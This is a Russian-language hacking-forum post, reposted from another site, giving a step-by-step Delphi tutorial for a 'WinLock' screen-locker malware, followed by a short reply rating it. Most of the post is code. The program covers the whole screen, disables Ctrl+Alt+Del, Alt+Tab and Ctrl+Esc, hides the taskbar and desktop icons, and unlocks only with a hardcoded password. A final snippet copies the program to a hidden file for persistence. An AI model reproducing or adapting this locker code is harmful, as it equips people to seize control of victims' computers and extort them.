[Руководство] WinLock

[МаЙоРчИк]

Чтобы написать данную программу нужно:
1. Delphi.
2. 2 руки.
3. Голова.
Запускаем Delphi, кидаем на форму TImage (Чтобы загрузить картинку блокиратора) TEdit, TButton.

Начинаем кодинг!
Код:

procedure TForm1.CreateParams(var T : TCreateParams);
begin
inherited Createparams(T);
with T do
Style := (Style or WS_POPUP) and not WS_DLGFRAME;
end;

Выше написанный код, не обязателен.

Создаем событие OnActivate у Form1.
Пишем это:

Код:

procedure TForm1.FormActivate(Sender: TObject);
var
hTaskBar : THandle;
begin
Edit1.Clear;
//исключаем из списка ALT+CTRL+DEL
ShowWindow (Application.handle, SW_HIDE);
//Размер формы:=Размеру Экрана
form1.Height:=screen.Height;
form1.Width:=screen.Width;
//Отключаем ALT+CTRL+DEl ALT+TAB CTRL+ESC
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
//Убираем Панель задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE);
//Убираем Иконки с рабочего стола
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
end;
Ставим вводные символы в TEdit под звездочки.
Код:
procedure TForm1.Edit1Change(Sender: TObject);
begin
Edit1.PasswordChar:=’*';
end;

Можно конечно в Object Inspector выставить данный параметр, но буду придерживаться оригинальной статье.

Код:

procedure TForm1.Button1Click(Sender: TObject);
var
hTaskBar : THandle;
Password:string[10];
begin
Password:=edit1.text;
If (Password=’grabberz.com′) then
begin
//включаем alt+ctrl+del alt+tab ctrl+esc
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
//Показываем иконки на рабочем столе
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
//Показываем Панель Задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
//Закрываем прогу
Close;
end

Делаем проверку на правильность пароля:

Код:

else
begin
Messagedlg(‘Неверный пасс для разблокировки… введите коректный пасс…’,mterror,[mbok],0);
Edit1.Clear;
end;
Все. Как пишет автор оригинальной статьи, чтобы добавить программу в автозагрузку надо пользоваться этим:
Код:
CopyFile(PChar(ParamStr(0)), PChar('C:\'+ 'название винлока (любое название).exe'),True);
SetFileAttributes('C:\название винлока (любое название).exe', faHidden);

Автор статьи не я, всё было взято с happy-hack`a
Ответственности за код не несу.
Удачи!

[iNugno]

помню статью дина(динмайт), он все детально расписал, объяснил те функции, которыми пользовался.
http://zhyk.ru/forum/showthread.php?t=116019

думаю, многим этого не хватает, я, например, долго не умел использовать copy, путал местами первый символ и кол-во символов, пока не увидел пост Ветал_Юа, после чего тупо переписал на лист.

В целом 3/5